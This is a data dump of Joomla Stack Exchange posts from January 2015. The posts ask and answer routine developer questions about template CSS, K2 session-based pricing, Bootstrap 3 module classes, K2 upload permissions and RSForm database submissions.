&lt;div&gt; closing" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7048" PostTypeId="2" ParentId="7033" CreationDate="2015-01-19T16:33:05.373" Score="1" Body="&lt;p&gt;Not exactly an answer to your question on how to force &lt;code&gt;rt-grid-1&lt;/code&gt; to work, but here's a different approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could publish your social media icons to the &lt;code&gt;header-b&lt;/code&gt; position (same as your main menu), and position it using &lt;code&gt;position:absolute&lt;/code&gt;. Target your module using a &lt;a href=&quot;https://docs.joomla.org/Module_Class_Suffix&quot; rel=&quot;nofollow&quot;&gt;Module Class Suffix&lt;/a&gt; (e.g. &lt;code&gt;socialmedia&lt;/code&gt;) and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#rt-header .socialmedia {&#xA;    position: absolute;&#xA;    top: 0;&#xA;    right: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Change &lt;code&gt;top&lt;/code&gt; &amp;amp; &lt;code&gt;right&lt;/code&gt; to whatever position you need). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also need to add some CSS to your main menu if the social media buttons interfere, because the &lt;code&gt;header-b&lt;/code&gt; position will extend to the right border of your page. You should be able to target the div containing your menu by using &lt;code&gt;#rt-header .menu-block&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-01-19T16:33:05.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7050" PostTypeId="2" ParentId="7046" CreationDate="2015-01-19T23:29:31.673" Score="2" Body="&lt;p&gt;&lt;strong&gt;pagebreak&lt;/strong&gt; plugin manages this logic, for instance removing &lt;strong&gt;hr&lt;/strong&gt; id=&quot;system-readmore&quot; when Presentation Style=Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your own &lt;strong&gt;pagebreak&lt;/strong&gt; plugin to create your custom logic.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-19T23:29:31.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7052" PostTypeId="2" ParentId="7044" CreationDate="2015-01-19T23:40:33.510" Score="0" Body="&lt;p&gt;&lt;strong&gt;Cannot execute a php file in administrator/component directory&lt;/strong&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/6972/cannot-execute-a-php-file-in-administrator-component-directory&quot;&gt;Cannot execute a php file in administrator/component directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Difficulties in calling ajax from joomla 2.5 module&lt;/strong&gt;&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2461/difficulties-in-calling-ajax-from-joomla-2-5-module&quot;&gt;Difficulties in calling ajax from joomla 2.5 module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-19T23:40:33.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7053" PostTypeId="2" ParentId="7038" CreationDate="2015-01-19T23:45:31.013" Score="1" Body="&lt;p&gt;&lt;strong&gt;No no no, do not modify core edit.php or add columns in a core table.&lt;/strong&gt; This file is going to be replaced in any upcoming update, and your new table columns are not a good practice.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;You can create a view layout override&lt;/strong&gt; (but this does not solve the issue to save the fields): &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides#Copying_or_Creating_Layout_Files&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides#Copying_or_Creating_Layout_Files&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Better option, &lt;strong&gt;Adding custom fields to the article component&lt;/strong&gt;: &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-19T23:45:31.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7055" PostTypeId="2" ParentId="6998" CreationDate="2015-01-20T01:06:35.193" Score="0" Body="&lt;p&gt;Found the issue. Turns out I was setting the value of the subscription type field instead of another field which I was supposed to blank out in a separate javascript file.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-01-21T07:19:15.740" LastActivityDate="2015-01-21T07:19:15.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7056" PostTypeId="1" CreationDate="2015-01-20T04:26:11.037" Score="0" ViewCount="876" Body="&lt;p&gt;I'm searching for a captcha solution that will integrate with Joomla 1.5's native contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;https://code.google.com/p/joomla-recaptcha/&quot; rel=&quot;nofollow&quot;&gt;this solution&lt;/a&gt; on Google Code, but it fails to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any current solutions.&lt;/p&gt;&#xA;" OwnerUserId="1616" LastActivityDate="2015-01-20T12:34:03.720" Title="Joomla 1.5 contact form captcha" Tags="|joomla-1.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7059" PostTypeId="2" ParentId="4294" CreationDate="2015-01-20T06:57:16.893" Score="7" Body="&lt;p&gt;According to &lt;a href=&quot;https://docs.joomla.org/JURI/current&quot; rel=&quot;noreferrer&quot;&gt;the Joomla tutorial&lt;/a&gt;, you can get the current URL by this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JUri::current();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3515" LastEditorUserId="1520" LastEditDate="2015-01-20T08:02:18.177" LastActivityDate="2015-01-20T08:02:18.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7060" PostTypeId="2" ParentId="4998" CreationDate="2015-01-20T07:09:33.300" Score="0" Body="&lt;p&gt;Marcello, to manage structured metadata and microformats you can use Microformats votes for Joomla: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/clients-a-communities/ratings-a-reviews/microformats-votes&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/clients-a-communities/ratings-a-reviews/microformats-votes&lt;/a&gt;  Extension is not only for content, is integrated with many popular Joomla components.&lt;/p&gt;&#xA;" OwnerUserId="3514" LastActivityDate="2015-01-20T07:09:33.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7062" PostTypeId="1" AcceptedAnswerId="7063" CreationDate="2015-01-20T10:22:21.757" Score="0" ViewCount="1647" Body="&lt;p&gt;I made a Joomla module which contains a form element select box. On selecting, it submits the form and the value of selected item is stored in a session variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;$session = JFactory::getSession();&#xA;&#xA;if (isset($_POST[&quot;country&quot;])){&#xA;&#xA;$session-&amp;gt;set('cont', $_POST[&quot;country&quot;]);&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;dropdown&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;country&quot;&amp;gt;&amp;lt;label for=&quot;country&quot;&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;select id=&quot;country&quot; name=&quot;country&quot; onchange=&quot;this.form.submit()&quot;&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;    $rows = Array('UAE', 'KSA', 'OMAN');&#xA;&#xA;foreach($rows as $row){ &#xA;&#xA;    if($row == $session-&amp;gt;get('cont')){ &#xA;&#xA;        $isSelected = ' selected=&quot;selected&quot;'; &#xA;    } &#xA;    else { &#xA;        $isSelected = ''; &#xA;    } &#xA;&#xA;    echo &quot;&amp;lt;option &quot;.$isSelected.&quot;&amp;gt;&quot;.$row.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in K2 item page the code is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;                    if($session-&amp;gt;get('cont') == &quot;KSA&quot;){&#xA;&#xA;                    echo &quot;SR-&quot;.number_format($this-&amp;gt;item-&amp;gt;ksaprice);&#xA;&#xA;                    }elseif($session-&amp;gt;get('cont') == &quot;OMAN&quot;){&#xA;&#xA;                    echo &quot;OMR-&quot;.number_format($this-&amp;gt;item-&amp;gt;omanprice);&#xA;&#xA;                    }else&#xA;&#xA;                    echo &quot;AED-&quot;.number_format($this-&amp;gt;item-&amp;gt;uaeprice);&#xA;&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the problem is when I select a country, page reloads, the session is created successfully but the price doesn't change as the page needs to be refreshed again to get the session's value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change the price without refreshing the page again.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="159" LastEditDate="2015-01-20T20:32:58.543" LastActivityDate="2015-01-20T21:15:08.153" Title="Getting session value without refreshing in Joomla" Tags="|php|fix-my-code|session|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7063" PostTypeId="2" ParentId="7062" CreationDate="2015-01-20T11:25:48.933" Score="1" Body="&lt;p&gt;Can you not use the $_POST['country'] value in your K2 item page rather than the session value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                if (isset($_POST['country']) $_POST['country'] == &quot;KSA&quot;) {&#xA;                    echo &quot;SR-&quot;.number_format($this-&amp;gt;item-&amp;gt;ksaprice);&#xA;                } elseif (isset($_POST['country']) &amp;amp;&amp;amp; $_POST['country'] == &quot;OMAN&quot;){&#xA;                    echo &quot;OMR-&quot;.number_format($this-&amp;gt;item-&amp;gt;omanprice);&#xA;                } else {&#xA;                    echo &quot;AED-&quot;.number_format($this-&amp;gt;item-&amp;gt;uaeprice);&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be rewritten a little bit nicer using the Joomla API&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;$country = $app-&amp;gt;input-&amp;gt;getString('country', '');&#xA;if ($country == 'KSA')&#xA;{&#xA;    echo &quot;SR-&quot; . number_format($this-&amp;gt;item-&amp;gt;ksaprice);&#xA;}&#xA;elseif ($country == 'OMAN')&#xA;{&#xA;    echo &quot;OMR-&quot; . number_format($this-&amp;gt;item-&amp;gt;omanprice);&#xA;}&#xA;else &#xA;{&#xA;    echo &quot;AED-&quot; . number_format($this-&amp;gt;item-&amp;gt;uaeprice);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Okay I thought your module and your k2 item are always on the same page. If you want to keep the selected country you would need to save the country into the session as you currently do and overwrite it everytime the POST value 'country' is set. You could do the same on the K2 item page (ie try to get the value from POST first and if it's empty then from the session).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;$app = JFactory::getApplication();&#xA;$session = JFactory::getSession();&#xA;&#xA;$country = $app-&amp;gt;input-&amp;gt;getString('country', '');&#xA;if ($country) &#xA;{&#xA;    // country variable is set in POST data, overwrite the current session value&#xA;    $session-&amp;gt;set('cont', $country);&#xA;}&#xA;else &#xA;{&#xA;    // Try to get the country from the session&#xA;    $country = $session-&amp;gt;get('cont', '');&#xA;}&#xA;&#xA;...&#xA;&amp;lt;?php&#xA;$rows = array('UAE', 'KSA', 'OMAN');&#xA;&#xA;foreach($rows as $row)&#xA;{ &#xA;    // Use $country now as it contains either the value from POST, session or nothing&#xA;    if ($row == $country)&#xA;    { &#xA;        $isSelected = ' selected=&quot;selected&quot;'; &#xA;    } &#xA;    else &#xA;    { &#xA;        $isSelected = ''; &#xA;    } &#xA;    echo &quot;&amp;lt;option &quot;. $isSelected . &quot;&amp;gt;&quot; . $row . &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;}&#xA;...&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2015-01-20T21:15:08.153" LastActivityDate="2015-01-20T21:15:08.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7064" PostTypeId="1" AcceptedAnswerId="7080" CreationDate="2015-01-20T11:31:17.933" Score="1" ViewCount="1094" Body="&lt;p&gt;I am building a Joomla 3 template that uses Bootstrap 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When publishing a Custom HTML Module I realized that using the “Bootstrap Size” of 3 will render&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;moduletable  span3&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is ok, but useless on Bootstrap 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use the “Module Class Suffix” and set it to: col-md-4 instead, it will render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;moduletable col-md-4&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is great but it also would render this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;custom col-md-4&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the module inner content producing effect not desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create a Module Chrome for it but $module-&gt;content; is already having the class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to solve this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="126" LastEditDate="2016-01-21T23:50:52.337" LastActivityDate="2016-01-21T23:50:52.337" Title="Module classes using bootstrap 3" Tags="|module-display|twitter-bootstrap-3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7065" PostTypeId="2" ParentId="7062" CreationDate="2015-01-20T11:38:44.317" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Firstly, it not recommended to access variables directly with $_POST. Always, JInput or any other sanizitation.&lt;/li&gt;&#xA;&lt;li&gt;Secondly, a module does not have a controller. It cannot easily support a page workflow. You need any back-end component to receive and send information.&lt;/li&gt;&#xA;&lt;li&gt;Finally, to develop your module, without creating a component, you can simply integrate the country query with a com_ajax plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Joomla Ajax Interface&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax-Session-Module&lt;/strong&gt; &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ajax-Session-Plugin&lt;/strong&gt; &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Plugin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Joomla-Ajax-Interface/Ajax-Session-Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-01-20T12:25:00.367" LastActivityDate="2015-01-20T12:25:00.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7066" PostTypeId="2" ParentId="7064" CreationDate="2015-01-20T12:05:52.823" Score="3" Body="&lt;p&gt;You can overwrite &lt;strong&gt;mod_custom&lt;/strong&gt; like every module. This feature is new since 3.x.&#xA;Just copy:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_custom/tmpl/default.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/YOUR_TEMPLATE/html/mod_custom/default.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hint: You can also name it as alternative layout (e.g. default2.php) and select the alternative layout in module parameters.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastEditorUserId="168" LastEditDate="2015-01-20T12:58:36.740" LastActivityDate="2015-01-20T12:58:36.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7067" PostTypeId="2" ParentId="7056" CreationDate="2015-01-20T12:09:55.950" Score="2" Body="&lt;p&gt;Joomla 1.5 is outdated and not longer actively maintained. Joomla community of developers is working Joomla 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You are not going to find new extensions supporting the latest captchas&lt;/em&gt;. You can only develop your own custom code for this version and try to keep it running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You should definitely migrate to a stable and safe release (3.3.x). 1.5.x - 2.5.x are not longer being maintained.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3518" LastEditorUserId="174" LastEditDate="2015-01-20T12:34:03.720" LastActivityDate="2015-01-20T12:34:03.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7068" PostTypeId="2" ParentId="4941" CreationDate="2015-01-20T12:48:14.630" Score="2" Body="&lt;p&gt;It depends on your intention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use onContentPrepare to manipulate the markup you need to use the right scope. Your MyPlugin::onContentPrepare will always been fired if the plugin is loaded and a dispatcher triggers &quot;onContentPrepare&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But usually you will check against the scope like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, &amp;amp;$row, &amp;amp;$params, $page = 0)&#xA;{&#xA;    if (in_array($context, array('com_content.article'))&#xA;    {&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So make sure you use the right scopes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to display the custom data within an overwrite, you can simply &#xA;access it with $item.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-20T12:48:14.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7069" PostTypeId="1" AcceptedAnswerId="7077" CreationDate="2015-01-20T14:53:37.930" Score="1" ViewCount="247" Body="&lt;p&gt;I'm building a new Template for Joomla 3.x and I want to make it easy for the user...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the template manager I want an 'Upload Photo' file-field. This is no problem; just define it in templateDetails.xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to save the photo with different sizes under different preset names. The template is a responsive design so I want to use this picture as a background-picture using different sizes for different screen sizes (css using @media (max-width: xxxpx) ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to use Imagemagick to do the resize and save files to the location I want. But for the life of me I can't find out how and where to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;override the  for the templateDetails (if necessary)&lt;/li&gt;&#xA;&lt;li&gt;override the form submit action&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I found :Joomla Override Plugin  but this seems to be outdated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is quite a bit of information on overriding on the net but not quite what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marcel&lt;/p&gt;&#xA;" OwnerUserId="3520" LastEditorUserId="3520" LastEditDate="2015-01-20T15:10:49.287" LastActivityDate="2015-01-20T17:46:08.277" Title="Override field with custom field and custom form submit in Template Manager" Tags="|template-override|form|fields|template-framework|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7070" PostTypeId="2" ParentId="6975" CreationDate="2015-01-20T15:29:04.183" Score="0" Body="&lt;p&gt;As I understand the way that FB handles it, they effectively 'cache' whatever they find on a page each time they visit it, so if you change the image on a page they 'remember' both images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want them to 'forget' the original image, the best solution is to delete the posts in which it appears, then change the URL of the article in question, even just slightly, and repost the new URL to FB. At that point it treats it as an entirely new post and will only see the new image.&lt;/p&gt;&#xA;" OwnerUserId="3521" LastActivityDate="2015-01-20T15:29:04.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7071" PostTypeId="1" CreationDate="2015-01-20T15:44:49.203" Score="1" ViewCount="1328" Body="&lt;p&gt;I am using K2 for content managing. In order to upload files I had to set /media/k2 directory's and its subdirectories' to 775. So, of course the web site has been damaged because of www-data group settings. That is a really bad experience but taught me so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directories' owner was &lt;strong&gt;zkanoca&lt;/strong&gt; and gorup was &lt;strong&gt;www-data&lt;/strong&gt;. I have deleted the whole files and directories and uploaded from backup. I have set CHMOD values to 755 for directories and 644 for files as recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error occurs when a user tries to upload a profile picture too. It adds the user profile image file name into database but does not upload the file to media/k2/user directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the restored web site the owner is &lt;strong&gt;zkanoca&lt;/strong&gt; and the group &lt;strong&gt;zkanoca&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have entered FTP information to &lt;strong&gt;Global Configuration&lt;/strong&gt; page in administrator panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to upload some files using Joomla's Media Manager, it resulted well with no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to add some attachments to a K2 item, it says it has uploaded and lists them in a table but actually it does not upload. It just insert a new record to &lt;em&gt;k2_attachments&lt;/em&gt; table but does not upload the file to &lt;em&gt;/media/k2/attachments&lt;/em&gt;. When I click on the file link on front side of the site, a message shows up &lt;strong&gt;K2_FILE_DOES_NOT_EXIST&lt;/strong&gt;. But in the upload process it does not give any error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add attachment to an item using K2, it adds records to database but not uploads the file. Then if I upload manually it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another funny thing, if I upload the file first and add it as attachment to an item, it gives the same error message above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how to upload files to K2 items with FTP settings. Because as far as I see it uses HTTP not FTP for files to upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried one more thing but it did not help neither. I have changed the attachments folder to another. Again it could not write the file into the directory. So this means there is something wrong with K2's procedures.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="440" LastEditDate="2015-01-30T09:09:58.653" LastActivityDate="2015-01-30T09:09:58.653" Title="Cannot upload attachment to K2 items using FTP" Tags="|joomla-2.5|k2|file-upload|file-permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7072" PostTypeId="2" ParentId="7071" CreationDate="2015-01-20T16:24:15.380" Score="1" Body="&lt;p&gt;Maybe you installed K2 before deciding to use the FTP interface?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an extension is installed using apache interface all the files and directories created during the installation are owned by the apache user. Typically the FTP user will not have the write permission on them. The fix is to change owner to correct value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;chown will fix this if you can use it. Otherwise the simplest fix is to take a backup of joomla files and then restore it with the correct owner. Using FTP for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still the first step should be to go to media/k2 folder and see if you can write there using FTP and can you fix it by downloading the folder, removing the folder, and restoring it. (Or chown but..)&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-20T16:24:15.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7073" PostTypeId="1" CreationDate="2015-01-20T16:41:10.453" Score="2" ViewCount="3168" Body="&lt;p&gt;I have an RSForm which has the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full Name&lt;/li&gt;&#xA;&lt;li&gt;Email Address&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I only want to capture new data, how can I use the &lt;code&gt;$_POST&lt;/code&gt; script to check if the email address submitted is already in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the RSForms documentation I can do this using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['form']['email_address']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I'm not really sure what code to use.&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="168" LastEditDate="2015-01-20T16:42:58.670" LastActivityDate="2023-01-11T22:49:35.980" Title="RSForm check if email is in database before submitting form" Tags="|php|joomla-3.3.x|rsform|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7074" PostTypeId="2" ParentId="7062" CreationDate="2015-01-20T16:43:59.507" Score="0" Body="&lt;p&gt;Fundamentally, it is about the page needing to have the info for whatever country user chooses. There are three ways to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reload the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use AJAX to load the correct info when the module javascript reloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include all alternatives in hidden form on the page, and use javascript to switch on the one actually used when the module reloads.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-20T16:43:59.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7075" PostTypeId="1" CreationDate="2015-01-20T16:56:17.060" Score="1" ViewCount="1085" Body="&lt;p&gt;I have a form on a non-Joomla website which has the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Full Name&lt;/li&gt;&#xA;&lt;li&gt;Email Address&lt;/li&gt;&#xA;&lt;li&gt;Work In A Pub (Tick box)&lt;/li&gt;&#xA;&lt;li&gt;Supplier (Tick box)&lt;/li&gt;&#xA;&lt;li&gt;Over 18&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have the following code to send from the external form through to the Joomla database (Joomla is using RSForms to capture this exact data):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     // read form&#xA;     if(strcasecmp($_GET['method'],'subscribe') == 0){&#xA;&#xA;         $fullName = $_POST['fullName'];&#xA;         $emailAddress = $_POST['emailAddress'];&#xA;         $worksInPub = ($_POST['workInPub']==='true');&#xA;         $isSupplier = ($_POST['isSupplier']==='true');&#xA;         $isOver18 = ($_POST['isOver18']==='true');&#xA;&#xA;         // Do something here with the data. If it fails, modify $response['code'] accordingly&#xA;&#xA;         $response['code'] = 1;&#xA;&#xA;         $response['status'] = $api_response_code[ $response['code'] ]['HTTP Response'];&#xA;         $response['data'] = $api_response_code[ $response['code'] ]['Message'];&#xA;&#xA;     } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What code do I need to write to submit the above variables through to the RSForms table in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a sql statement then it won't have the SubmissionId in it (as this is from a different database table&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="159" LastEditDate="2015-01-20T20:32:05.110" LastActivityDate="2015-08-19T01:34:23.113" Title="Submit external data to RSForms MySQL table" Tags="|joomla-3.x|php|fix-my-code|mysql|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
